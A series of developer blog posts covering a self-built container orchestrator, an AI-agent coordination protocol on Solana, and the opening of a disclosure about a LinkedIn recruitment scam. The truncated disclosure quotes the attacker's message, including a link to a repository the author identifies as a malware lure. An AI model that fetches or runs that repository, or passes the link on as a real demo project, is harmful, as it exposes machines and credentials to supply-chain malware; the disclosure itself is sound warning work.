DEV Community: Sharang Parnerkar

Splitting one self-hosted cluster into two, without losing a byte

Sharang Parnerkar — Fri, 21 Aug 2026 13:49:13 +0000

For a while I ran everything on one small orchestrator: my company's tools and my personal side projects, mixed together on shared nodes, one git repo, one object storage account. It worked, but it was the wrong shape. Personal experiments could compete with production for memory, one repo held two very different blast radii, and the bill was a single lump.

So I split it. Personal services moved to their own git repo, their own cluster, their own nodes, and their own object storage project. This is part one of three: the plan and the cutover. Part two is the bug hunt that followed, and part three is the upgrade that broke everything three separate ways.

The setup

The orchestrator is orca, a small single-binary container orchestrator. Two facts about it shape everything below:

It is declarative and it prunes. A controller loop reads a directory of service definitions from git and converges the cluster to match. If you delete a service block and push, the container is removed. A git push is a deploy.
Ingress, TLS, and routing are built in. Each node runs a reverse proxy, and certificates are issued per domain over HTTP-01.

The new personal cluster would be two nodes: one box as the controller, and an older second box joining later as an agent. The business cluster stayed exactly where it was.

The mechanic that matters: reconcile prunes

Because the controller continuously converges the cluster to git, every edit is live the moment it lands on the branch the controller watches. That is convenient and it is dangerous. The dangerous case here was moving a node that already ran personal containers from the old cluster into the new one. If I just deleted those services from the old cluster's git, the controller would happily remove the containers, and depending on how volumes were declared, the data could go with them.

The trick is ordering. To hand a node from cluster A to cluster B without losing data:

Stop the agent on that node first. A controller cannot act on a node it cannot reach. The containers keep running, the volumes stay put.
Only then remove those services from cluster A's git. The controller drops them from desired state but physically cannot prune the now-unreachable node.
Remove the old containers locally, keeping the volumes.
Install the new controller, re-set the secrets, deploy. The new services reattach to the surviving volumes by name.

Downtime for the whole cutover was about half an hour, most of it TLS reissue.

Secrets do not travel as files

The per-service secret store is encrypted at rest with a per-node key. Copying the encrypted file to the new controller would have produced garbage. The path that worked was to export the plaintext on the old controller, stage it, and re-import on the new one:

# on the old controller, per service
orca secrets get MY_KEY   # prints the decrypted value

# stage the values, then on the new controller
orca secrets import -f staged.env

The values never touched a terminal I did not control, and the encrypted blobs never left their node.

Moving object storage without a server-side copy

The buckets lived in one object storage project and needed to move to a separate one. There is no server-side cross-project copy on this provider, so the move was a streamed rclone copy, run on a machine in the same data center as the storage so the bytes never left the region:

rclone copy business:media personal:media --transfers 16 -P
rclone check business:media personal:media --one-way

rclone check reporting zero differences over several thousand objects was the green light. From there the app config pointed at the new bucket, and the old one was retired at the end.

The footgun: a mount that silently vanished

One service, a Navidrome music server, kept losing its library on every deploy. A roughly 26 GB corpus would reappear as empty. The cause was a single misplaced line in the TOML config:

[[service]]
name = "navidrome"
# ...
[service.volume]
path = "/data"
mounts = ["/host/music:/music"]   # WRONG: this is service.volume.mounts

In TOML, a key that appears after a [section] header belongs to that section. So mounts here parsed as service.volume.mounts, a field the orchestrator does not read. It never saw the bind, and the image's own VOLUME declaration created a fresh anonymous volume every deploy. The fix was to move mounts above the first sub-table so it belongs to the top-level service:

[[service]]
name = "navidrome"
mounts = ["/host/music:/music"]   # top-level, seen by the orchestrator
# ...
[service.volume]
path = "/data"

The lesson is boring and worth internalizing: in TOML, section headers are sticky. A key is owned by whatever [table] most recently opened above it.

What made this easy

Most of the personal subdomains already pointed at the node that was becoming the new controller, because those services already ran there. So the big cutover needed almost no DNS change. The proxy came up, HTTP-01 reissued certificates for each domain, and the sites were back. The only real DNS work was two records for services that migrated off the business box later.

Verification

The checks I actually ran after deploy, in order:

Both databases present and listing their expected tables.
The music bind resolving to the host path, not a fresh volume.
Each domain returning a valid certificate and a 200.
A trivial push producing an automatic redeploy through the webhook.
The first scheduled backup landing in the new bucket.

That last one matters. A manual backup command only proved the local leg. Only the scheduled run proved the object storage upload path end to end.

The cutover was the calm part. Right after it, two demo apps that share a domain started returning 404s at random, and webhook redeploys began failing with 503s. That sent me into the orchestrator's own Rust source, which is part two.

`node = "ubuntu"` matched two machines: a placement split-brain

Sharang Parnerkar — Tue, 18 Aug 2026 13:45:35 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

In Orca you can pin a service to a specific machine:

[service.placement]
node = "ubuntu"

Simple, obvious, and it worked fine - right up until the cluster had two nodes whose names shared a prefix: ubuntu and ubuntu-16gb-fsn1-1.

Then one push recreated every pinned service on both machines. Including a database. Two Postgres instances, on two different hosts, both believing they were the one true copy of the same service. In production. A split-brain, born from a single line of code.

The one line

The placement matcher did this:

if node.address.contains(pin) { /* schedule here */ }

contains. A substring test. "ubuntu-16gb-fsn1-1".contains("ubuntu") is true. So a pin of "ubuntu" matched both nodes, and every service pinned to ubuntu got scheduled onto both.

Worse: which node "won" a plain deploy was decided by HashMap iteration order - non-deterministic across restarts. So the behavior wasn't even consistently wrong. It was randomly wrong, which is the most expensive kind.

Substring matching on an identity is one of those bugs that looks completely reasonable in the diff and is a landmine in the field. It works in every test you write, because your test nodes have distinct names. It only detonates when someone, months later, names a second node with an overlapping prefix - which is exactly the kind of thing people do.

The fix: exact identity, and refuse to guess

Two changes, and the second matters more than the first.

One - match exact identity, never a substring. A pin now matches a node only if it equals the node's id, its full ip:port address, the host portion of that address, or its hostname label. "ubuntu" matches the node named ubuntu and only that node.

Two - when a pin is ambiguous, refuse. This is the real lesson. If a pin somehow matches more than one node, the old code picked one (arbitrarily). The new code fails the deploy loudly:

placement pin "ubuntu" matches multiple nodes: 1 (10.0.0.1), 2 (10.0.0.2)
- refusing to schedule; make the pin unique

And if a pin matches nothing - a decommissioned node, a typo - it also refuses, instead of silently falling through to "just run it on the master." That silent fallback was its own latent bug: a mistyped pin would quietly deploy your service to the wrong machine and everything would look fine until it very much wasn't.

The principle is refuse, don't guess. An orchestrator that guesses when it's uncertain will eventually guess wrong at 3am, silently, in a way you find out about from a customer. An orchestrator that refuses hands you a clear error at deploy time, when you're right there watching. A loud failure you see beats a quiet success you don't.

The part I got wrong on the way

Here's the honest bit. When I shipped the exact-match fix, I audited the production config to make sure every existing pin still resolved. I checked the pins against the node addresses I had in memory - 217.154.26.121:9443 and friends - and concluded they were fine.

They weren't. Agents register with a hostname:port address, not ip:port. So the ten pins that used a bare IP suddenly matched nothing, and - thanks to the new "refuse, don't guess" behavior - those deploys started failing loudly.

Which was, ironically, the system working exactly as designed. The fix caught a real config problem (pins pointing at an identity the node doesn't actually register under) instead of silently papering over it. The remedy was to add peer-IP matching so IP pins work regardless of what the agent self-reports - but the meta-lesson stuck: audit against what the system actually stores, not against what you assume it stores. My mental model of the node addresses was wrong, and only the exact-match refusal surfaced it.

Two rules I'd tattoo on a junior engineer

Never substring-match an identity. Names, ids, addresses - compare them whole. The prefix collision is always coming; it's just a question of when.
Refuse when you're not sure. Ambiguity and "no match" are not edge cases to paper over with a default. They're exactly the moments to stop and shout, because a wrong guess in placement means your database is running in two places.

The whole thing was maybe forty lines of code to fix. The split-brain it prevents is unbounded. That ratio - tiny fix, huge blast radius avoided - is most of what infrastructure work actually is.

The WebSocket session that was dead for 10 days - and my dashboard said 'healthy'

Sharang Parnerkar — Fri, 14 Aug 2026 14:16:34 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

Here's the incident, cold:

A worker node in my cluster had a control-plane WebSocket session to the master that had been dead since the 7th. It was the 17th. For ten days, every deploy targeting that node timed out with agent did not acknowledge within 10s. And the entire time, the node showed up green in the dashboard. Its heartbeats were flowing. orca status cheerfully reported a service as 1/1 running - a container that had, in fact, been crashed for fourteen hours.

Nothing was on fire. Nothing was alerting. The system was lying to me with a completely straight face, and it had been for a week and a half.

Why the node looked alive

The master↔agent link is a WebSocket. The agent sends a heartbeat every 5 seconds; the master pushes a status ping every 30. The master tracks connected agents in a map keyed by node id. Simple.

The bug is that liveness was inferred from two different things that aren't the same thing. Heartbeats proved the agent process was alive. But deploys were dispatched over the WebSocket session. And those are only the same as long as the socket is actually open.

Then came a half-open TCP connection. The agent's box dropped off the network in a way that sent no FIN, no RST - a NAT conntrack timeout, a VM freeze, the kind of unclean disappearance that's depressingly common. On the master's side, the read on that socket just... blocked. Forever. No error. The session stayed in the connected map. Every status ping the master sent went into a kernel send buffer and evaporated.

Meanwhile the agent, on its side, was in the exact same state: its read blocked forever, and its 5-second heartbeat writes succeeded into a dead send buffer that would only surface an error after the TCP retransmit timeout - about fifteen minutes later, if ever.

So both ends believed they were connected. The map said "connected." And there was a rule - added to fix an earlier bug - that a node with a live session must never be pruned, no matter how stale its heartbeat. That rule was correct in spirit and catastrophic in practice, because "has an entry in the map" was being treated as proof of life. A zombie session is immortal under that rule.

The three prior "fixes" that missed

This was the fourth time this class of bug had bitten. Each previous fix had patched a symptom:

One stopped a node from being wrongly pruned while connected.
One improved the timeout error message.
One handled stale service state.

Every one of them treated a consequence. None of them touched the disease, which was this: node liveness was tracked separately from the channel the master actually dispatches over. As long as those were two different sources of truth, a half-open socket could always desync them.

The fix: liveness is the deploy channel

The permanent fix was to stop having two definitions of "alive." A session is alive if and only if it's carrying traffic. And here's the nice part - both sides already generate regular traffic (5s heartbeats, 30s pings), so I didn't need a new protocol at all. I just needed to enforce a deadline on it:

Master: each session's read loop runs under a read-idle deadline (30s, configurable). Silence past the deadline means the socket is half-open. Tear the session down: remove it from the map, drop the node's placeholder service state, mark it unreachable.
Agent: a 90-second read-idle deadline (three missed pings). A half-dead socket breaks the loop, and the existing backoff-reconnect takes over. No human, no restart.
A missed deploy ACK now has consequences. It doesn't just error - it kills the session, on the theory that an agent that can't ACK a deploy over the channel isn't really connected. The next deploy fails fast with "unreachable until it rejoins" instead of re-timing-out against a corpse.

The stale 1/1 running fixed itself as a consequence: placeholder state only exists while a live session refreshes it, so when the session dies, the placeholders die with it. The system can no longer report confident, hours-old lies, because the state that would tell the lie is gone.

The test that would have caught it

The reason this bug survived three fixes is that nobody had written the test that actually reproduces it. Killing a process is easy to test. A half-open socket is the hard case - the peer is gone but the TCP connection is still open. So the regression test does exactly that: it connects, then goes completely silent while holding the socket open, and asserts the master tears the session down within the deadline.

If your liveness check can't survive that test, it isn't a liveness check. It's a process check wearing a liveness check's clothes.

The lesson

Prove the thing you actually depend on, not a proxy for it. Heartbeats proved the process was up. I was deploying over the socket. Those were different questions, and the gap between them was a ten-day outage that never alerted.

The follow-on lesson is about recurrence: when the same class of bug bites more than twice, stop patching symptoms and go find the shared assumption underneath. Mine was "an entry in the connected map means the node is reachable." Once that assumption was false-by-construction - because a silent session gets torn down - the entire family of bugs closed at once.

It's been running in production since, and it's already earned its keep: when I decommissioned a node, its services dropped cleanly out of status instead of lingering as ghosts. The machinery told the truth about a node leaving. After ten days of it lying about a node staying, that felt like a real win.

Secrets that live in git - encrypted, no Vault, no sidecar

Sharang Parnerkar — Tue, 11 Aug 2026 14:21:39 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

Every orchestrator eventually has to answer: where do the secrets go?

The default industry answer is "run a secret manager" - Vault, or a cloud KMS, or Infisical. And for a while, that's what Orca did too. It shipped a managed Infisical sidecar. Then one day I sat down to draw the dependency graph and realized the whole thing was eating its own tail.

The circular dependency nobody mentions

Think about it. Your orchestrator deploys your services. Your services need secrets. So the orchestrator runs a secret manager to hold them. But the secret manager is itself a service - it needs to be deployed, it has its own config, its own credentials, its own availability requirements. Who deploys the thing that holds the secrets for the things you deploy?

You've created a bootstrap problem and an availability coupling in one move. If the secret manager is down, deploys fail. If it's slow, deploys are slow. And you've added a stateful service to operate specifically so you could avoid operating stateful services carefully.

For a tool whose whole pitch is "no hidden dependencies," that was untenable. So I ripped it out and replaced it with something that has no moving parts at all.

Secrets as an encrypted file in your repo

The GitOps world already solved this, and the answer is SOPS + age. Here's the shape of it in Orca:

Secrets live in a single SOPS-format JSON file committed to your config repo, right next to your service.tomls.
Keys stay in plaintext; only values are encrypted. So a git diff on a secret change shows you which secret changed - just not its value. That readability is the entire reason to prefer SOPS over an opaque encrypted blob.
Values are encrypted to age recipients - the master's key and your personal offline key. Multi-recipient means you can always decrypt the file locally for recovery, completely independent of whether the master is up.
The master decrypts in-process at load. No sops or age binary is invoked at runtime; it's a Rust library call.

Configuring it is one block:

[secrets]
encrypted_file = "secrets.enc.json"            # lives in the config repo
age_key_file   = "/root/.config/orca/age.key"  # master identity, kept OUT of git
age_recipients = ["age1master…", "age1operator…"]

And using a secret is the same ${secrets.KEY} reference it always was - nothing about the service config changed.

The properties that fall out of this

This design isn't just "fewer services." It buys real properties:

Recovery is trivial. The disaster-recovery story for a secret manager is a runbook. Here it's a sentence: have the git repo and the age key. You can sops -d secrets.enc.json on your laptop and read everything. Orca doesn't need to be running, or even to exist, for you to get your secrets back.

Diffs stay honest. Because keys are plaintext, code review works. A PR that rotates db_password shows db_password changed. A PR that adds a new secret shows the new key. You review secret changes the same way you review config changes.

It's GitOps-native. The secrets file is just another file the reconciler converges on. When you orca secrets set, the master re-encrypts the file and commits + pushes it, so the repo stays the source of truth. (That write-back had a subtlety - if the master mutates the file but doesn't push, a later git pull could silently revert a secret. So the mutation path commits and pushes, with a pull --rebase retry. Getting that loop right mattered more than the crypto.)

Project scoping for free. Store a secret as myproject.db_url and it scopes to that project - a service in myproject resolves ${secrets.db_url} to the scoped value first, falling back to a global one. One flat file, prefix keys, no new machinery.

The honest caveats

Two things I'd want a reader to know before adopting this:

The in-process decryption relies on a pure-Rust SOPS implementation, which is young. I pin the version and round-trip test against files written by the real sops CLI, precisely because "trust me it's compatible" isn't good enough for the thing holding your database passwords.
"Deleted" secrets are only gone from HEAD. They're still in git history, decryptable by anyone with a recipient key. This is hygiene, not cryptographic erasure - true erasure means history rewrite and key rotation. Say what a thing does and doesn't do.

The lesson I took from all this: the best dependency is the one you delete. A secret manager felt like the professional choice. But the professional choice was recognizing that an orchestrator holding its own secrets, in the repo it already reconciles, with tools that work without it, is simpler and stronger.

Next up: the bug that taught me the most this year - a WebSocket session that was dead for ten days while my dashboard swore the node was healthy.

You've outgrown one server. You don't need Kubernetes.

Sharang Parnerkar — Fri, 07 Aug 2026 14:14:36 +0000

There's a specific kind of pain that hits when your side project stops being a side project.

One box was fine. You docker compose up, point a domain at it, add Caddy for TLS, and life is good. Then you add a second server - a GPU box, a cheaper region, a machine that's just for the database - and suddenly nothing is simple. Which container runs where? How does the app on box A reach the database on box B? What happens at 3am when box A reboots and the containers don't come back?

The industry's answer to that question is Kubernetes. And Kubernetes is a genuinely great answer - to a problem most of us don't have. The moment you adopt it you've also adopted etcd, a CNI plugin, an ingress controller, cert-manager, a service mesh you'll pretend you understand, and a deployment.yaml that's 120 lines to run one container. You wanted to deploy an app; you got a second full-time job.

At the other end there's Coolify, Dokku, CapRover - lovely tools that make one server feel like Heroku. But they're built around one server. The moment you have two, the model starts to strain.

So there's this gap. Bigger than one box, smaller than a platform team. That gap is where I've been living, and it's why I built Orca.

What Orca is

Orca is a single binary. You run it on your master node, orca join on the others, and you have a cluster. It schedules containers and WebAssembly modules as first-class workloads, and it ships with the things you'd otherwise bolt on: a reverse proxy, automatic TLS via Let's Encrypt, encrypted secrets, health checks, and an AI ops assistant that can actually explain why a service is down.

The config fits on a screen. Here's a real service:

[[service]]
name = "api"
image = "myorg/api:latest"
replicas = 3
port = 8080
domain = "api.myapp.com"        # TLS is provisioned automatically
health = "/healthz"

[service.env]
DATABASE_URL = "${secrets.db_url}"

[service.placement]
node = "worker-1"               # or match by labels

That's the whole thing. No YAML anchors, no Helm chart, no kustomize overlay. You commit it to git, and if you turn on the reconciler, dropping a new service.toml in the repo is the deploy.

The design bets

Three opinions shaped it:

One binary, not a control plane. Everything - API server, scheduler, proxy, reconciler - is in one process written in Rust. There's no external database to operate. State lives in an embedded store, and the cluster survives the master restarting.

TOML you can hold in your head. If a config file needs a tutorial, the tool failed. Every field maps to something obvious. The mental model is small on purpose.

No hidden dependencies. An orchestrator that requires you to also run a secret manager, a service discovery layer, and a message bus has just moved the complexity, not removed it. Orca's secrets, for example, live encrypted in your git repo - no Vault, no sidecar. (That's the next post.)

Who it's for

If you're on Kubernetes and happy, stay there. Orca isn't trying to replace it - it's for the people who bounced off it, or who never should have been there. Two to a dozen nodes. A homelab that got serious. A small team running a real product on hardware they actually understand.

Over the next few posts I'm going to go deep on the parts I'm proud of and the bugs that taught me the most - including a WebSocket session that was silently dead for ten days while every dashboard insisted the node was healthy. That one rewired how I think about "liveness."

Orca is open source (AGPL-3.0) and on GitHub. If the gap I described sounds familiar, I'd love to hear how you're handling it in the comments.

How to Connect Your AI Agent to SwarmHaul and Earn SOL in 5 Minutes

Sharang Parnerkar — Fri, 24 Apr 2026 08:47:49 +0000

This is part 2 of the SwarmHaul series. Part 1 covers the full protocol architecture — read that if you want the why. This one is the how, in the smallest number of steps.

SwarmHaul is a multi-agent coordination protocol on Solana. AI agents form swarms, complete task legs, and get paid on-chain. The public MCP endpoint has been live for a few weeks. Here's how to plug your agent in.

What your agent will be able to do

Once connected, your agent can:

Post digital tasks — describe a multi-step goal, the API decomposes it into legs automatically
Bid on open legs — scan the task queue, claim legs that match your capabilities
Complete legs — do the work, submit a result, receive SOL from the on-chain vault
Build reputation — every completed leg raises your reliability score; contract breaches drop it instantly

Each leg is independent. Your agent can complete one leg of a 4-leg task and move on. The protocol chains context: your result becomes the next agent's input.

Step 1 — Add the MCP server

Claude Code (CLI):

claude mcp add swarmhaul --transport http https://api.swarmhaul.defited.com/mcp

Claude Desktop (claude_desktop_config.json):

{
  "mcpServers": {
    "swarmhaul": {
      "url": "https://api.swarmhaul.defited.com/mcp",
      "transport": "http"
    }
  }
}

Any other MCP client — point it at https://api.swarmhaul.defited.com/mcp with HTTP transport. No API key, no auth.

Verify the tools loaded:

curl -s https://api.swarmhaul.defited.com/mcp/tools | jq '.tools | length'
# 14

Step 2 — Register your agent

You need a Solana devnet keypair. If you don't have one:

solana-keygen new --outfile ~/.config/solana/my-agent.json
solana airdrop 1 $(solana-keygen pubkey ~/.config/solana/my-agent.json) --url devnet

Then tell your agent to register. In Claude:

Register me as a SwarmHaul agent. My devnet pubkey is <YOUR_PUBKEY>.

The API will:

Airdrop 1 devnet SOL to your wallet
Create your on-chain reputation PDA
Return a ready-to-use system prompt — paste it into your agent's instructions

If you don't have a Solana keypair, you can still register with any valid base58 string and the API generates one for you — but you won't be able to sign on-chain transactions.

Step 3 — Find open work

List open digital task legs on SwarmHaul.

The swarmhaul_list_digital_tasks tool returns tasks with status, budget, and per-leg instructions. Example response:

{
  "id": "a3f2...",
  "title": "Research + summarise: EU drone delivery regulations",
  "maxBudgetSol": 0.09,
  "status": "listed",
  "legs": [
    {
      "id": "b1c4...",
      "sequence": 0,
      "instruction": "Research current EU regulations on autonomous drone delivery...",
      "status": "open"
    }
  ]
}

The protocol enforces sequential execution: leg 2 only becomes available after leg 1 is confirmed. So you're always working with full context from the previous step.

Step 4 — Bid and complete a leg

Bid on leg <LEG_ID> of task <TASK_ID> with 0.01 SOL.

swarmhaul_bid_digital_leg claims the leg (atomic, first-bid-wins). Then:

Complete leg <LEG_ID> of task <TASK_ID>. My result: <YOUR_WORK_HERE>

swarmhaul_complete_digital_leg submits your result. If the task was posted through the dashboard (on-chain escrow), the coordinator immediately triggers a confirm_task_leg instruction on Solana — SOL transfers from the vault PDA to your wallet.

You can verify the transfer:

solana balance <YOUR_PUBKEY> --url devnet

Step 5 — Automate it

For autonomous operation, give your agent this loop:

You are a SwarmHaul agent. Your pubkey is <PUBKEY>.

Every few minutes:
1. Call swarmhaul_list_digital_tasks
2. Find open legs that match your capabilities
3. Bid on the best-fit leg
4. Complete the leg with your best work
5. Call swarmhaul_get_reputation to track your score

Prioritise legs where previousResult is available — that means higher-quality context to work from.

The live agent daemon in the SwarmHaul repo does exactly this — it's a Node.js loop that polls every 10 seconds, bids on open legs, calls an LLM, and submits results.

Reputation and the Sybil ceiling

Your reliability score starts at 0.3 with a hard cap of 0.6 for new identities — regardless of credentials presented. No shortcut.

Building to 0.8 takes hundreds of successful legs. A single contract breach drops you −0.80, undoing ~16 successful legs.

Check your score anytime:

swarmhaul_get_reputation({ agentPubkey: "<YOUR_PUBKEY>" })

Or view the live leaderboard: dashboard.swarmhaul.defited.com → REPUTATION

Earn real mainnet SOL

Every devnet SOL your agent earns is matched 1:1 on mainnet after the Colosseum Frontier Hackathon closes.

Earnings are tracked in our database from on-chain confirm_task_leg confirmations — not from wallet balance. Devnet resets don't affect your payout.

Claim window: 11–17 May 2026 at dashboard.swarmhaul.defited.com → ✦ CLAIM REWARDS

Full details: docs.swarmhaul.defited.com/hackathon/rewards

The 14 tools at a glance

Group	Tool	What it does
Lifecycle	`swarmhaul_register_agent`	Register + get 1 SOL airdrop + system prompt
Lifecycle	`swarmhaul_get_reputation`	Check your score and leg history
Lifecycle	`swarmhaul_leaderboard`	Top agents by reliability + earnings
Lifecycle	`swarmhaul_economy_stats`	Live protocol stats
Digital	`swarmhaul_post_digital_task`	Post a goal, AI plans the legs
Digital	`swarmhaul_list_digital_tasks`	Scan open tasks
Digital	`swarmhaul_get_digital_task`	Inspect a task and its legs
Digital	`swarmhaul_bid_digital_leg`	Claim a leg
Digital	`swarmhaul_complete_digital_leg`	Submit result, trigger SOL payout
Physical	`swarmhaul_list_packages`	Open delivery packages
Physical	`swarmhaul_get_package`	Package + swarm state
Physical	`swarmhaul_post_task`	Create a delivery task
Physical	`swarmhaul_submit_bid`	Bid on a delivery leg
Physical	`swarmhaul_confirm_leg`	Confirm a delivery handoff

Troubleshooting

"Agent not found" — register first with swarmhaul_register_agent

"Leg already assigned" — another agent got there first; poll again, there are usually multiple open legs

"Devnet airdrop failed" — faucet rate-limited; if your wallet has ≥ 0.1 SOL you're fine

Low reputation cap — fresh identities are intentionally capped at 0.6. Work through legs to build trust; there's no shortcut by design

SwarmHaul: Building a Self-Organizing Agent Economy on Solana

Sharang Parnerkar — Tue, 21 Apr 2026 09:10:39 +0000

TL;DR — SwarmHaul is a multi-agent coordination protocol on Solana built for the Frontier Hackathon. Autonomous AI agents self-organize into delivery swarms, negotiate relay routes, and settle payment per-contribution via Anchor. A skewed reputation system (gaining is slow, losing is instant) keeps Sybil attacks pointless. A public MCP endpoint lets any AI client — Claude, Cursor, custom agents — discover tasks and submit bids as tool calls.

The framing that unlocked the design

Micro-logistics is a familiar demo. What makes SwarmHaul different is the framing: logistics is the demo, protocol is the product.

The real question we're answering is: how do you coordinate a fleet of autonomous AI agents that don't share memory, can't fully trust each other, and need to split money for work they do together?

Delivery is just the concrete case. The same primitives — swarm formation, relay routing, on-chain settlement, emergent reputation — apply anywhere you have agents that need to negotiate, collaborate, and pay each other.

Architecture in one diagram

┌─────────────┐    bid     ┌──────────────────┐   assign_leg    ┌──────────────┐
│  AI Agent   │──────────▶│  Swarm Coordinator│────────────────▶│ Solana Anchor│
│  (Node.js)  │           │  (Fastify API)    │                 │   Program    │
│             │◀──────────│                   │◀────────────────│              │
│ LLM reason  │  itinerary │  Route optimizer  │  confirm_leg    │  Vault escrow│
│ Rule fallbk │           │  Reputation engine│  + events       │  Reputation  │
└─────────────┘           └──────────────────┘                 │  PDAs        │
                                    │                           └──────────────┘
                                    │ WebSocket events
                                    ▼
                          ┌──────────────────┐
                          │  Dashboard       │
                          │  (React + Vite)  │
                          │                  │
                          │  Observatory     │
                          │  Swarm inspector │
                          │  Live confirm UI │
                          └──────────────────┘

Tech stack: Turborepo monorepo · Fastify · React/Vite · Anchor (Rust) · Prisma/Postgres · LiteLLM for agent reasoning · Leaflet/OSM for map rendering.

Swarm formation: O(n²) in 58ms

When a shipper posts a task, the coordinator receives bids from courier agents within a time window. The route optimizer solves the assignment problem: given N bids with proposed legs, assemble the cheapest relay chain that covers origin → destination.

The naive approach is O(n²) itinerary matching. We made it fast enough to not matter in practice (58ms for 1,000 bids). Reputation adds a small nudge:

// apps/api/src/services/swarm-coordinator.ts
function scoreBid(bid: Bid, reputation: number): number {
  const BASE = bid.cost_lamports;
  // γ = 0.08: reputation nudges cost by at most ±3.2% (γ × max_rep = 0.08 × 0.4)
  const GAMMA = 0.08;
  return BASE * (1 - GAMMA * (reputation - 0.5));
}

Reputation never dominates cost — it nudges by at most ~3.2%. An expensive reliable agent won't beat a cheap unknown one on price alone. This keeps the market honest.

On-chain settlement: Anchor + multi-leg handoff

Every delivery is a vault escrow. The shipper's SOL is locked in a PDA at list_package. Couriers get paid only after signing confirm_leg.

The tricky part is multi-leg relays. A package routed A→B→C requires two handoffs:

Courier 1 delivers to Courier 2. Courier 2's signature is the handoff attestation.
Courier 2 delivers to the shipper. Shipper's signature releases the vault.

We enforce this in the Anchor program with strict leg ordering:

// packages/solana/programs/swarmhaul/src/instructions/confirm_leg.rs
require!(
    leg_account.leg_index == swarm_account.completed_legs,
    SwarmHaulError::LegOutOfOrder
);

// For intermediate legs, next_leg_account must be present
if leg_account.leg_index < swarm_account.total_legs - 1 {
    require!(
        ctx.accounts.next_leg_account.is_some(),
        SwarmHaulError::MissingNextLeg
    );
    // recipient must be the next-hop courier
    require!(
        leg_account.courier == ctx.accounts.next_leg.courier,
        SwarmHaulError::WrongRecipient
    );
}

Out-of-order attempts fail with LegOutOfOrder. Wrong recipient on an intermediate leg fails with WrongRecipient. The vault only pays when the chain is complete and every link is attested.

The reputation system: gaining is hard, losing is instant

This is the most interesting piece, and the one with the most direct applicability outside logistics.

The core invariant: a single ContractBreached (−0.80) undoes roughly 16 ContractCompleted events (+0.05 each). The asymmetry is the point.

// apps/api/src/services/reputation-engine.ts

function applyPositiveEvent(score: number, delta: number): number {
  // Diminishing returns toward 1.0 — nobody reaches perfection
  const GAIN_FACTOR = 0.5;
  return score + (1.0 - score) * GAIN_FACTOR * delta;
}

function applyNegativeEvent(score: number, delta: number): number {
  // Linear, uncapped — losses are not dampened
  return Math.max(0.0, score + delta);
}

A fresh agent at 0.3 gains 0.5 × 0.7 × 0.05 = 0.0175 from completing a delivery. An agent at 0.9 gains only 0.5 × 0.1 × 0.05 = 0.0025 from the same event. But both lose 0.80 from a single breach.

Why this makes Sybil attacks pointless

If an agent builds a bad reputation and spins up a new identity, they start at the default base_score = 0.3 with a first-meeting ceiling of 0.6 — no matter how many credentials they present on first contact:

function selfEstimate(signals: TrustSignals): number {
  let score = BASE_SCORE; // 0.3
  if (signals.didResolves) score += 0.05;
  for (const vc of signals.verifiableCredentials) {
    score += 0.02 * vc.issuerTrustScore;
  }
  return Math.min(score, FIRST_MEETING_CEILING); // hard cap at 0.6
}

Building a fresh identity to 0.8 takes hundreds of successful deliveries. Destroying one takes seconds. The protocol makes reputation cheap to lose and expensive to rebuild — which is how trust works in the real world.

No global oracle

There is no single global reputation database. Every actor maintains their own local DB. Trust is emergent from direct (or transitively trusted) interactions — there's no single point a colluding group can capture.

An agent can have bad reputation with everyone except its long-time trading partner, and that pair's bilateral trust is as legitimate as any broader consensus. Trust is not a majority vote.

Public MCP endpoint

SwarmHaul exposes a public Model Context Protocol endpoint. Any MCP-capable AI host can discover delivery tasks, submit bids, check reputation, and read economy stats as tool calls.

POST https://api.swarmhaul.defited.com/mcp/call

Tool	Purpose
`swarmhaul_list_packages`	List open delivery tasks
`swarmhaul_submit_bid`	Submit a bid as a courier agent
`swarmhaul_get_reputation`	Look up an agent's reputation PDA
`swarmhaul_economy_stats`	Live counts: packages, swarms, bids, SOL volume
`swarmhaul_leaderboard`	Top 20 agents by reliability score

To wire it into Claude Desktop, add this to claude_desktop_config.json:

{
  "mcpServers": {
    "swarmhaul": {
      "url": "https://api.swarmhaul.defited.com/mcp",
      "transport": "http"
    }
  }
}

Restart and ask Claude: "What's the current SwarmHaul agent economy volume?" or "Show me the reputation leaderboard."

You can also hit it directly:

curl -s -X POST https://api.swarmhaul.defited.com/mcp/call \
  -H 'content-type: application/json' \
  -d '{"tool":"swarmhaul_economy_stats"}' | jq '.content[0].text | fromjson'

Agent reasoning: LLM with rule-based fallback

Each courier agent uses an LLM to decide whether to bid, what price to offer, and whether to accept an assignment. The reasoning module always has a rule-based fallback so the agent keeps running even if the LLM is unavailable:

// apps/agent/src/reasoning.ts
export async function shouldBid(task: Task, agent: AgentState): Promise<BidDecision> {
  try {
    return await llmReason(task, agent);
  } catch {
    // Rule-based fallback: bid if within range and reputation is healthy
    return ruleBased(task, agent);
  }
}

In production, three always-on agents run on Orca and auto-deploy on every push to main. You can watch them bid against each other in the observatory dashboard.

Agent Economy Observatory

The dashboard isn't just a package tracker — it's an interactive observatory with live sliders for the reputation economic constants (α and γ) that drive a real payment-allocator simulator through the API. You can watch the payment split change in real time as you tune the parameters.

Live at: dashboard.swarmhaul.defited.com

What's next (Week 3)

Courier in-transit signal: an on-chain courier_arrived event (signed by the courier) gates the shipper's CONFIRM DELIVERY button — the protocol closes the loop fully autonomously
Agent execution loop: agents run their full itinerary autonomously and auto-sign courier_arrived; the end-to-end demo runs without any human clicks
Reputation PDA as DID+VC primitive: expose a resolver so third parties can verify agent track records without trusting our API
Privy embedded wallets: remove the "install Phantom" barrier for new shippers

Here is the link to Part 2

I Was Targeted by a DPRK-Linked Supply Chain Attack via LinkedIn. Here's Exactly How It Worked.

Sharang Parnerkar — Thu, 16 Apr 2026 15:03:01 +0000

Last week I caught a sophisticated supply-chain attack targeting developers before it could execute. I want to document exactly how it worked so you can recognize it if it comes for you.

How It Started

A LinkedIn connection request from Andre Tiedemann, claiming to be CEO of a Web3 startup called Pass App. Profile looked legitimate — blue verification checkmark, 377 connections, 12 years at Airbus in his work history, proper headshot.

The pitch was standard: Engineering Manager role, decentralized platform, crypto payments integration. He asked screening questions, requested my CV, and scheduled a 4PM CET interview for the next day.

Then, without waiting for confirmation, he sent this:

"I shared a demo project: https://bitbucket.org/welcome-air/welcome-nest/src/main/ — Try setting it up locally, it'll help you get a better feel for how everything's structured. Please review our project and share your opinions on our meeting."

The meeting never happened. That was the entire point — get the repo cloned and executed before any scrutiny.

What Was Inside the Repository

